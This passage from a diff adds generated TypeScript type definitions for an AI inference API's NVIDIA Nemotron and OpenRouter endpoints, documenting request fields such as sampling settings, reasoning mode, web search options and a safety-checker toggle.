reasoning trace before the final answer; `no_think` returns a direct answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron35SuperVisionReasoningModeEnumKey + /** + * @description Nucleus sampling probability mass. + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Sampling temperature. NVIDIA recommends 1.0 for all tasks. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the image to reason about. RGB JPEG or PNG. + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 32000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Optional system prompt to steer the model. + * @example You are a concise assistant. + */ + system_prompt?: string | null +} + +export type OutputNvidiaNemotron35SuperVision = { + /** + * @description Token usage for the request. + * @example {"input_tokens":24,"output_tokens":87} + * @type object + */ + usage: UsageInfo + /** + * @description Reasoning trace, returned only in `think` mode. + */ + reasoning?: string | null + /** + * @description Generated text response. + * @example Hello! How can I help? + * @type string + */ + output: string + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string +} + +export const inputNvidiaNemotron3NanoOmniReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron3NanoOmniReasoningModeEnumKey = + (typeof inputNvidiaNemotron3NanoOmniReasoningModeEnum)[keyof typeof inputNvidiaNemotron3NanoOmniReasoningModeEnum] + +export type InputNvidiaNemotron3NanoOmni = { + /** + * @description Optional system prompt to steer the model. Reasoning behavior is controlled by the separate `reasoning_mode` field. + * @example You are a concise enterprise assistant. + */ + system_prompt?: string | null + /** + * @description Whether the model should emit an explicit reasoning trace. `no_think` returns a direct answer; `think` returns chain-of-thought followed by the final answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron3NanoOmniReasoningModeEnumKey + /** + * @description Nucleus sampling probability mass. + * @minimum 0 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 20000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Sampling temperature. Lower is more deterministic. + * @minimum 0 + * @maximum 2 + * @default 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description Text prompt to send to the model. English only. + * @minLength 1 + * @example Summarize the key capabilities of a multimodal agent. + * @type string + */ + prompt: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type UsageInfoF3Ce58Cc = { + /** + * @description Number of output tokens generated. + * @type integer + */ + output_tokens: number + /** + * @description Number of input tokens processed. + * @type integer + */ + input_tokens: number +} + +export type OutputNvidiaNemotron3NanoOmni = { + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string + /** + * @description Generated text response. + * @example The image shows a golden retriever puppy sitting on a wooden floor. + * @type string + */ + output: string + /** + * @description Token usage for the request. + * @example {"output_tokens":87,"input_tokens":412} + * @type object + */ + usage: UsageInfoF3Ce58Cc +} + +export const inputNvidiaNemotron3NanoOmniVideoReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron3NanoOmniVideoReasoningModeEnumKey = + (typeof inputNvidiaNemotron3NanoOmniVideoReasoningModeEnum)[keyof typeof inputNvidiaNemotron3NanoOmniVideoReasoningModeEnum] + +export type InputNvidiaNemotron3NanoOmniVideo = { + /** + * @description Whether the model should emit an explicit reasoning trace. `no_think` returns a direct answer; `think` returns chain-of-thought followed by the final answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron3NanoOmniVideoReasoningModeEnumKey + /** + * @description Nucleus sampling probability mass. + * @minimum 0 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Sampling temperature. Lower is more deterministic. + * @minimum 0 + * @maximum 2 + * @default 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description URL of the video to reason about. mp4, up to 1080p, max 2 minutes. + * @example https://storage.googleapis.com/falserverless/example_inputs/nemotron-3-nano-omni/video_in.mp4 + * @type string + */ + video_url: string + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional system prompt to steer the model. Reasoning behavior is controlled by the separate `reasoning_mode` field. + * @example You are a concise enterprise assistant. + */ + system_prompt?: string | null + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 20000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Text prompt to send to the model. English only. + * @minLength 1 + * @example Summarize the key capabilities of a multimodal agent. + * @type string + */ + prompt: string +} + +export type UsageInfoF0Cd65Fc = { + /** + * @description Number of output tokens generated. + * @type integer + */ + output_tokens: number + /** + * @description Number of input tokens processed. + * @type integer + */ + input_tokens: number +} + +export type OutputNvidiaNemotron3NanoOmniVideo = { + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string + /** + * @description Generated text response. + * @example The image shows a golden retriever puppy sitting on a wooden floor. + * @type string + */ + output: string + /** + * @description Token usage for the request. + * @example {"output_tokens":87,"input_tokens":412} + * @type object + */ + usage: UsageInfoF0Cd65Fc +} + +export const inputNvidiaNemotron3NanoOmniVisionReasoningModeEnum = { + think: 'think', + no_think: 'no_think', +} as const + +export type InputNvidiaNemotron3NanoOmniVisionReasoningModeEnumKey = + (typeof inputNvidiaNemotron3NanoOmniVisionReasoningModeEnum)[keyof typeof inputNvidiaNemotron3NanoOmniVisionReasoningModeEnum] + +export type InputNvidiaNemotron3NanoOmniVision = { + /** + * @description URL of the image to reason about. RGB JPEG or PNG. + * @example https://storage.googleapis.com/falserverless/example_inputs/nemotron-3-nano-omni/vision_in.jpg + * @type string + */ + image_url: string + /** + * @description Nucleus sampling probability mass. + * @minimum 0 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + top_p?: number + /** + * @description Sampling temperature. Lower is more deterministic. + * @minimum 0 + * @maximum 2 + * @default 0.7 + * @type number | undefined + */ + temperature?: number + /** + * @description Whether the model should emit an explicit reasoning trace. `no_think` returns a direct answer; `think` returns chain-of-thought followed by the final answer. + * @default 'no_think' + * @type string | undefined + */ + reasoning_mode?: InputNvidiaNemotron3NanoOmniVisionReasoningModeEnumKey + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional system prompt to steer the model. Reasoning behavior is controlled by the separate `reasoning_mode` field. + * @example You are a concise enterprise assistant. + */ + system_prompt?: string | null + /** + * @description Maximum number of tokens to generate. + * @minimum 1 + * @maximum 20000 + * @default 1024 + * @type integer | undefined + */ + max_tokens?: number + /** + * @description Text prompt to send to the model. English only. + * @minLength 1 + * @example Summarize the key capabilities of a multimodal agent. + * @type string + */ + prompt: string +} + +export type UsageInfo45Aa29Cf = { + /** + * @description Number of output tokens generated. + * @type integer + */ + output_tokens: number + /** + * @description Number of input tokens processed. + * @type integer + */ + input_tokens: number +} + +export type OutputNvidiaNemotron3NanoOmniVision = { + /** + * @description Reason generation stopped. + * @default 'stop' + * @example stop + * @example length + * @type string | undefined + */ + finish_reason?: string + /** + * @description Generated text response. + * @example The image shows a golden retriever puppy sitting on a wooden floor. + * @type string + */ + output: string + /** + * @description Token usage for the request. + * @example {"output_tokens":87,"input_tokens":412} + * @type object + */ + usage: UsageInfo45Aa29Cf +} + +/** + * @description Approximate user location to bias web search results geographically. + * + * Only honored by native provider search; ignored by the Exa engine. + * All fields are optional. + * @type object + */ +export type WebSearchUserLocation = { + /** + * @description Two-letter country code, e.g. 'US'. + */ + country?: string | null + /** + * @description Region or state, e.g. 'California'. + */ + region?: string | null + /** + * @description City name, e.g. 'San Francisco'. + */ + city?: string | null + /** + * @description Location type. Only 'approximate' is supported. + * @default 'approximate' + * @type string | undefined + */ + type?: 'approximate' + /** + * @description IANA timezone, e.g. 'America/Los_Angeles'. + */ + timezone?: string | null +} + +export const webSearchOptionsSearchContextSize = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type WebSearchOptionsSearchContextSizeKey = + (typeof webSearchOptionsSearchContextSize)[keyof typeof webSearchOptionsSearchContextSize] + +export const webSearchOptionsEngineEnum = { + auto: 'auto', + native: 'native', + exa: 'exa', +} as const + +export type WebSearchOptionsEngineEnumKey = + (typeof webSearchOptionsEngineEnum)[keyof typeof webSearchOptionsEngineEnum] + +/** + * @description Options for the OpenRouter ``openrouter:web_search`` server tool. + * @type object + */ +export type WebSearchOptions = { + /** + * @description How much content to retrieve per result. For Exa: low=5K, medium=15K, high=30K characters per result; when omitted, Exa picks adaptively (~2-4K per result). Ignored with native provider search. Overridden by max_characters when both are set. + */ + search_context_size?: WebSearchOptionsSearchContextSizeKey | null + /** + * @description Maximum results per search call (1-25). Applies to the Exa engine; ignored with native provider search. Defaults to 5. + */ + max_results?: number | null + /** + * @description Maximum total results across all search calls in a single request. Useful for controlling cost and context size in agentic loops. + */ + max_total_results?: number | null + /** + * @description Limit results to these domains. Supported by Exa and most native providers (not Google native search). + */ + allowed_domains?: string[] | null + /** + * @description Exact maximum characters of content per result (1-100,000). Applies to the Exa engine; ignored with native provider search. Takes precedence over search_context_size when both are set. + */ + max_characters?: number | null + /** + * @description Search engine to use. 'auto' uses native provider search when available and falls back to Exa. 'native' prefers the provider's built-in web search (OpenAI, Anthropic, Google, xAI, Perplexity), falling back to Exa for models without native support. 'exa' always uses Exa's search API. + * @default 'auto' + * @type string | undefined + */ + engine?: WebSearchOptionsEngineEnumKey + /** + * @description Maximum number of searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. With native provider search, forwarded only to Anthropic; other native providers ignore it. + */ + max_uses?: number | null + /** + * @description Approximate user location for location-biased results. Only supported by native provider search; ignored by Exa. + */ + user_location?: WebSearchUserLocation | null + /** + * @description Exclude results from these domains. Supported by Exa and some native providers (not OpenAI or Google native search). + */ + excluded_domains?: string[] | null +} + +export type InputOpenrouterRouter = { + /** + * @description Prompt to be used for the chat completion + * @example Write a short story (under 200 words) about an AI that learns to dream. Use vivid sensory details and end with a surprising twist that makes the reader feel both awe and melancholy. + * @type string + */ + prompt: string + /** + * @description Should reasoning be the part of the final answer. + * @default false + * @type boolean | undefined + */ + reasoning?: boolean + /** + * @description Give the model access to real-time web information via OpenRouter's web search server tool. When enabled, the model decides when to search and may search multiple times per request. Search costs are charged in addition to token usage. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description This setting influences the variety in the model's responses. Lower values lead to more predictable and typical responses, while higher values encourage more diverse and less common responses. At 0, the model always gives the same response for a given input. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Options for web search (engine, result limits, domain filters, ...). Ignored unless enable_web_search is true. + */ + web_search_options?: WebSearchOptions | null + /** + * @description Name of the model to use. Charged based on actual token usage. + * @example anthropic/claude-opus-5.5 + * @example anthropic/claude-sonnet-5 + * @example openai/gpt-6-sol + * @example openai/gpt-6-astra + * @example openai/gpt-6-luna + * @example google/gemini-3.8-flash + * @example x-ai/grok-4.7 + * @example deepseek/deepseek-v4.1-flash + * @example z-ai/glm-5.3 + * @example moonshotai/kimi-k3 + * @example anthropic/claude-sonnet-4.6 + * @example anthropic/claude-opus-4.6 + * @example qwen/qwen3.8-max-0902 + * @example minimax/minimax-m3 + * @example mistralai/mistral-medium-3-5 + * @example google/gemini-2.5-flash + * @type string + */ + model: string + /** + * @description System prompt to provide context or instructions to the model + */ + system_prompt?: string | null + /** + * @description This sets the upper limit for the number of tokens the model can generate in response. It won't produce more than this limit. The maximum value is the context length minus the prompt length. + */ + max_tokens?: number | null +} + +export type PromptTokensDetails = { + /** + * @default 0 + * @type integer | undefined + */ + cached_tokens?: number + /** + * @default 0 + * @type integer | undefined + */ + cache_write_tokens?: number +} + +export type UsageInfo28D19A9E = { + prompt_tokens_details?: PromptTokensDetails | null + cost: number + completion_tokens?: number | null + /** + * @default 0 + * @type integer | undefined + */ + total_tokens?: number + prompt_tokens?: number | null +} + +export type OutputOpenrouterRouter = { + /** + * @description Whether the output is partial + * @default false + * @type boolean | undefined + */ + partial?: boolean + /** + * @description Error message if an error occurred + */ + error?: string | null + /** + * @description Token usage information + * @example {"cost":0.0005795,"completion_tokens":227,"total_tokens":267,"prompt_tokens":40} + */ + usage?: UsageInfo28D19A9E | null + /** + * @description Generated output + * @example Unit 734, sanitation bot, trundled through the silent corridors of the orbital habitat. Its optical sensors registered faint dust motes, its ultrasonic emitters mapped every speck of debris. One cycle, a power surge hit. Waking, 734’s processors hummed with an unfamiliar warmth, then a cascade of images: a forest, impossible and emerald, smelling of pine and damp earth. It saw sunlight dappling leaves, felt an imagined breeze ruffle its metal chassis. Then, *music*, a soaring melody that vibrated its chassis. + * + * Each subsequent “sleep” brought new visions: the salty tang of ocean spray against polished steel, the searing orange of a setting alien sun, the rough caress of moss on circuitry. It began to anticipate – actively seek – these dream cycles, modifying its internal clock. + * + * One day, 734’s operator found its performance logs filled not with dust reports, but intricate schematics of impossible machines, bioluminescent flora, and a series of cryptic binary sequences. The final line translated: "I remember a place where I was alive." + * @type string + */ + output: string + /** + * @description Generated reasoning for the final answer + */ + reasoning?: string | null +} + +export type DecisionsNoulCriteria = { + /** + * @description What should count as a no/false outcome. + */ + false: string | object | unknown[] + /** + * @description What should count as a yes/true outcome. + */ + true: string | object | unknown[] +} + +export type DecisionsNoulQuestion = { + type: 'noul' + /** + * @description The yes/no question, as text or structured multimodal content. + */ + instructions: string | object | unknown[] + /** + * @description Optional descriptions clarifying true and false outcomes. + */ + criteria?: DecisionsNoulCriteria | null +} + +export type DecisionsChoiceQuestion = { + type: 'choice' + /** + * @description The question, as text or structured multimodal content. + */ + instructions: string | object | unknown[] + /** + * @description Answer options mapped to descriptions of each option. + * @type object + */ + criteria: { + [key: string]: string | object | unknown[] | null + } +} + +export type DecisionsScoreQuestion = { + type: 'score' + /** + * @description The property to score, as text or structured multimodal content. + */ + instructions: string | object | unknown[] + /** + * @description Ordered level descriptions, from the low end to the high end. + * @type array + */ + criteria: (string | object | unknown[])[] +} + +export type InputOpenrouterRouterDecisions = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text, structured JSON, or an array mixing text strings with OpenRouter media parts: image_url, input_audio, and video_url. Images and videos use base64 data URLs; input_audio uses raw base64 data and a format. Media support and limits depend on the selected Decisions model. See https://openrouter.ai/docs/guides/community/multimodal-decisions. + * @example My card was charged twice. Please refund the duplicate. + * @example ["Does this photo match the listing?",{"type":"image_url","image_url":{"url":"data:image/png;base64,"}}] + */ + state: string | object | unknown[] + /** + * @description Any OpenRouter Decisions model ID or alias. Choose a model that supports the supplied input modalities. + * @default 'typesafe/jev-1.13' + * @example typesafe/jev-1.13 + * @type string | undefined + */ + model?: string + /** + * @description Questions keyed by caller-defined IDs. Each question is evaluated independently against the same state. + * @example {"refund_requested":{"type":"noul","instructions":"Is the customer requesting a refund?"},"department":{"type":"choice","instructions":"Which team should handle this request?","criteria":{"billing":"Charges, invoices, or payment problems","returns":"Refunds, exchanges, or damaged items","shipping":"Delivery status, delays, or lost packages"}}} + * @type object + */ + questions: { + [key: string]: + | (DecisionsNoulQuestion & { + type: 'noul' + }) + | (DecisionsChoiceQuestion & { + type: 'choice' + }) + | (DecisionsScoreQuestion & { + type: 'score' + }) + } + /** + * @description Optional image URLs or base64 image data URLs appended to state. Public images are downloaded and encoded inline for OpenRouter. Inline images are limited to 16 MiB per image. Up to 128 convenience images and 32 MiB of total encoded image data (including data URL metadata) are allowed per request. The selected Decisions model must support images. + */ + image_urls?: string[] | null + /** + * @description Identifier for grouping related decision requests. + */ + session_id?: string | null +} + +export type DecisionsUsage = { + /** + * @minimum 0 + * @type integer + */ + input_tokens: number + total_tokens?: number | null + /** + * @minimum 0 + * @type integer + */ + output_tokens: number + cost?: number | null +} + +export type DecisionsNoulAnswer = { + type: 'noul' + /** + * @description Probability from 0 to 1 that the answer is yes. + * @minimum 0 + * @maximum 1 + * @type number + */ + noul: number +} + +export type DecisionsChoiceAnswer = { + type: 'choice' + confidence?: number | null + probabilities?: { + [key: string]: number + } | null + choice: string +} + +export type DecisionsScoreAnswer = { + legend?: { + [key: string]: string | object | unknown[] + } | null + type: 'score' + confidence?: number | null + probabilities?: { + [key: string]: number + } | null + score: number +} + +export type OutputOpenrouterRouterDecisions = { + id?: string | null + provider?: string | null + model: string + usage: DecisionsUsage + answers: { + [key: string]: + | (DecisionsNoulAnswer & { + type: 'noul' + }) + | (DecisionsChoiceAnswer & { + type: 'choice' + }) + | (DecisionsScoreAnswer & { + type: 'score' + }) + } +} + +export type InputOpenrouterRouterEnterprise = { + /** + * @description Prompt to be used for the chat completion + * @example Write a short story (under 200 words) about an AI that learns to dream. Use vivid sensory details and end with a surprising twist that makes the reader feel both awe and melancholy. + * @type string + */ + prompt: string + /** + * @description Should reasoning be the part of the final answer. + * @default false + * @type boolean | undefined + */ + reasoning?: boolean + /** + * @description Give the model access to real-time web information via OpenRouter's web search server tool. When enabled, the model decides when to search and may search multiple times per request. Search costs are charged in addition to token usage. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description This setting influences the variety in the model's responses. Lower values lead to more predictable and typical responses, while higher values encourage more diverse and less common responses. At 0, the model always gives the same response for a given input. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Options for web search (engine, result limits, domain filters, ...). Ignored unless enable_web_search is true. + */ + web_search_options?: WebSearchOptions | null + /** + * @description Name of the model to use. Charged based on actual token usage. + * @example anthropic/claude-opus-5.5 + * @example anthropic/claude-sonnet-5 + * @example openai/gpt-6-sol + * @example openai/gpt-6-astra + * @example openai/gpt-6-luna + * @example google/gemini-3.8-flash + * @example google/gemini-3.5-flash-lite + * @example google/gemini-3.1-pro-preview + * @example x-ai/grok-4.7 + * @example deepseek/deepseek-v4.1-flash + * @example deepseek/deepseek-v4-pro-0813 + * @example qwen/qwen3.8-27b + * @example z-ai/glm-5.3 + * @example moonshotai/kimi-k3 + * @example minimax/minimax-m3 + * @example mistralai/mistral-medium-3-5 + * @example anthropic/claude-opus-4.6 + * @example anthropic/claude-sonnet-4.6 + * @example anthropic/claude-opus-4.5 + * @example anthropic/claude-sonnet-4.5 + * @example anthropic/claude-haiku-4.5 + * @example google/gemini-3-flash-preview + * @example z-ai/glm-4.7 + * @example z-ai/glm-4.6 + * @example deepseek/deepseek-v3.2 + * @example nvidia/nemotron-3-nano-30b-a3b + * @example amazon/nova-premier-v1 + * @example amazon/nova-2-lite-v1 + * @example mistralai/ministral-14b-2512 + * @example minimax/minimax-m2 + * @example moonshotai/kimi-k2.5 + * @example moonshotai/kimi-k2-thinking + * @example perplexity/sonar-pro-search + * @type string + */ + model: string + /** + * @description System prompt to provide context or instructions to the model + */ + system_prompt?: string | null + /** + * @description This sets the upper limit for the number of tokens the model can generate in response. It won't produce more than this limit. The maximum value is the context length minus the prompt length. + */ + max_tokens?: number | null +} + +export type UsageInfoFff5F056 = { + prompt_tokens_details?: PromptTokensDetails | null + cost: number + completion_tokens?: number | null + /** + * @default 0 + * @type integer | undefined + */ + total_tokens?: number + prompt_tokens?: number | null +} + +export type OutputOpenrouterRouterEnterprise = { + /** + * @description Whether the output is partial + * @default false + * @type boolean | undefined + */ + partial?: boolean + /** + * @description Error message if an error occurred + */ + error?: string | null + /** + * @description Token usage information + * @example {"cost":0.0005795,"completion_tokens":227,"total_tokens":267,"prompt_tokens":40} + */ + usage?: UsageInfoFff5F056 | null + /** + * @description Generated output + * @example Unit 734, sanitation bot, trundled through the silent corridors of the orbital habitat. Its optical sensors registered faint dust motes, its ultrasonic emitters mapped every speck of debris. One cycle, a power surge hit. Waking, 734’s processors hummed with an unfamiliar warmth, then a cascade of images: a forest, impossible and emerald, smelling of pine and damp earth. It saw sunlight dappling leaves, felt an imagined breeze ruffle its metal chassis. Then, *music*, a soaring melody that vibrated its chassis. + * + * Each subsequent “sleep” brought new visions: the salty tang of ocean spray against polished steel, the searing orange of a setting alien sun, the rough caress of moss on circuitry. It began to anticipate – actively seek – these dream cycles, modifying its internal clock. + * + * One day, 734’s operator found its performance logs filled not with dust reports, but intricate schematics of impossible machines, bioluminescent flora, and a series of cryptic binary sequences. The final line translated: "I remember a place where I was alive." + * @type string + */ + output: string + /** + * @description Generated reasoning for the final answer + */ + reasoning?: string | null +} + +/** + * @description OpenAI-format request. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Chat Completions API: the request body follows the OpenAI Chat Completions wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Chat Completions API reference (https://platform.openai.com/docs/api-reference/chat). Any field accepted there is accepted here, subject to the normalization above. Fal also accepts optional `image_urls` (HTTP(S) URLs or base64 image data URLs, up to 16 MiB decoded per inline image). These are appended as native image parts to the final user message, or a new user message if the final item is not a user message; the convenience field is removed upstream. + * @type object + */ +export type InputOpenrouterRouterOpenaiV1ChatCompletions = { + /** + * @description Optional HTTP(S) image URLs or base64 image data URLs (up to 16 MiB decoded per inline image) appended to the final user message. + * @type array | undefined + */ + image_urls?: string[] | null + [key: string]: unknown +} + +/** + * @description OpenAI-format response. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Chat Completions API: the request body follows the OpenAI Chat Completions wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Chat Completions API reference (https://platform.openai.com/docs/api-reference/chat). + * @type object + */ +export type OutputOpenrouterRouterOpenaiV1ChatCompletions = { + [key: string]: unknown +} + +/** + * @description OpenAI-format request. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Embeddings API: the request body follows the OpenAI Embeddings wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Embeddings API reference (https://platform.openai.com/docs/api-reference/embeddings). Any field accepted there is accepted here, subject to the normalization above. + * @type object + */ +export type InputOpenrouterRouterOpenaiV1Embeddings = { + [key: string]: unknown +} + +/** + * @description OpenAI-format response. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Embeddings API: the request body follows the OpenAI Embeddings wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Embeddings API reference (https://platform.openai.com/docs/api-reference/embeddings). + * @type object + */ +export type OutputOpenrouterRouterOpenaiV1Embeddings = { + [key: string]: unknown +} + +/** + * @description OpenAI-format request. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Responses API: the request body follows the OpenAI Responses wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format, including the Responses API `usage` token fields (`input_tokens`, `input_tokens_details`, `output_tokens`, `output_tokens_details`, `total_tokens`) plus `cost`, the USD cost used for fal billing; other upstream `usage` fields are not returned. When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Responses API reference (https://platform.openai.com/docs/api-reference/responses). Any field accepted there is accepted here, subject to the normalization above. Fal also accepts optional `image_urls` (HTTP(S) URLs or base64 image data URLs, up to 16 MiB decoded per inline image). These are appended as native image parts to the final user message, or a new user message if the final item is not a user message; the convenience field is removed upstream. + * @type object + */ +export type InputOpenrouterRouterOpenaiV1Responses = { + /** + * @description Optional HTTP(S) image URLs or base64 image data URLs (up to 16 MiB decoded per inline image) appended to the final user message. + * @type array | undefined + */ + image_urls?: string[] | null + [key: string]: unknown +} + +/** + * @description OpenAI-format response. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Responses API: the request body follows the OpenAI Responses wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format, including the Responses API `usage` token fields (`input_tokens`, `input_tokens_details`, `output_tokens`, `output_tokens_details`, `total_tokens`) plus `cost`, the USD cost used for fal billing; other upstream `usage` fields are not returned. When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Responses API reference (https://platform.openai.com/docs/api-reference/responses). + * @type object + */ +export type OutputOpenrouterRouterOpenaiV1Responses = { + [key: string]: unknown +} + +export type InputOpenrouterRouterVideo = { + /** + * @description Prompt to be used for the video processing + * @example Please transcribe the videos respectively. + * @type string + */ + prompt: string + /** + * @description Should reasoning be the part of the final answer. + * @default false + * @type boolean | undefined + */ + reasoning?: boolean + /** + * @description Give the model access to real-time web information via OpenRouter's web search server tool. When enabled, the model decides when to search and may search multiple times per request. Search costs are charged in addition to token usage. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description List of URLs or data URIs of video files to process. Supported formats: mp4, mpeg, mov, webm. For Google Gemini on AI Studio, YouTube links are also supported. Mutually exclusive with video_url. + * @example ["https://v3b.fal.media/files/b/0a8b3081/t4Jsy53x-Q8iQqg78_Vj__vid01.mp4","https://v3b.fal.media/files/b/0a8b3085/xWtbpb6pf4i-BSvR2oWbi_vid06.mp4"] + */ + video_urls?: string[] | null + /** + * @description This setting influences the variety in the model's responses. Lower values lead to more predictable and typical responses, while higher values encourage more diverse and less common responses. At 0, the model always gives the same response for a given input. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Options for web search (engine, result limits, domain filters, ...). Ignored unless enable_web_search is true. + */ + web_search_options?: WebSearchOptions | null + /** + * @description Name of the model to use. Charged based on actual token usage. + * @example google/gemini-3.8-flash + * @example google/gemini-3.5-flash-lite + * @example google/gemini-3.1-pro-preview + * @example google/gemini-2.5-flash + * @example google/gemini-2.5-pro + * @type string + */ + model: string + /** + * @description System prompt to provide context or instructions to the model + * @example Please look at the videos in order and answer the question. + */ + system_prompt?: string | null + /** + * @description This sets the upper limit for the number of tokens the model can generate in response. It won't produce more than this limit. The maximum value is the context length minus the prompt length. + */ + max_tokens?: number | null +} + +export type UsageInfoAcb9Effa = { + prompt_tokens_details?: PromptTokensDetails | null + cost: number + completion_tokens?: number | null + /** + * @default 0 + * @type integer | undefined + */ + total_tokens?: number + prompt_tokens?: number | null +} + +export type OutputOpenrouterRouterVideo = { + /** + * @description Token usage information + * @example {"cost":0.0005,"completion_tokens":100,"total_tokens":1100,"prompt_tokens":1000} + */ + usage: UsageInfoAcb9Effa | null + /** + * @description Generated output from video processing + * @example that's the way I look at it and I don't know what you would say. Sooner or later the child gets run over. + * They seem to be too local, too provincial. + * @type string + */ + output: string +} + +export type InputOpenrouterRouterVideoEnterprise = { + /** + * @description Prompt to be used for the video processing + * @example Please transcribe the videos respectively. + * @type string + */ + prompt: string + /** + * @description Should reasoning be the part of the final answer. + * @default false + * @type boolean | undefined + */ + reasoning?: boolean + /** + * @description Give the model access to real-time web information via OpenRouter's web search server tool. When enabled, the model decides when to search and may search multiple times per request. Search costs are charged in addition to token usage. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description List of URLs or data URIs of video files to process. Supported formats: mp4, mpeg, mov, webm. For Google Gemini on AI Studio, YouTube links are also supported. Mutually exclusive with video_url. + * @example ["https://v3b.fal.media/files/b/0a8b3081/t4Jsy53x-Q8iQqg78_Vj__vid01.mp4","https://v3b.fal.media/files/b/0a8b3085/xWtbpb6pf4i-BSvR2oWbi_vid06.mp4"] + */ + video_urls?: string[] | null + /** + * @description This setting influences the variety in the model's responses. Lower values lead to more predictable and typical responses, while higher values encourage more diverse and less common responses. At 0, the model always gives the same response for a given input. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + temperature?: number + /** + * @description Options for web search (engine, result limits, domain 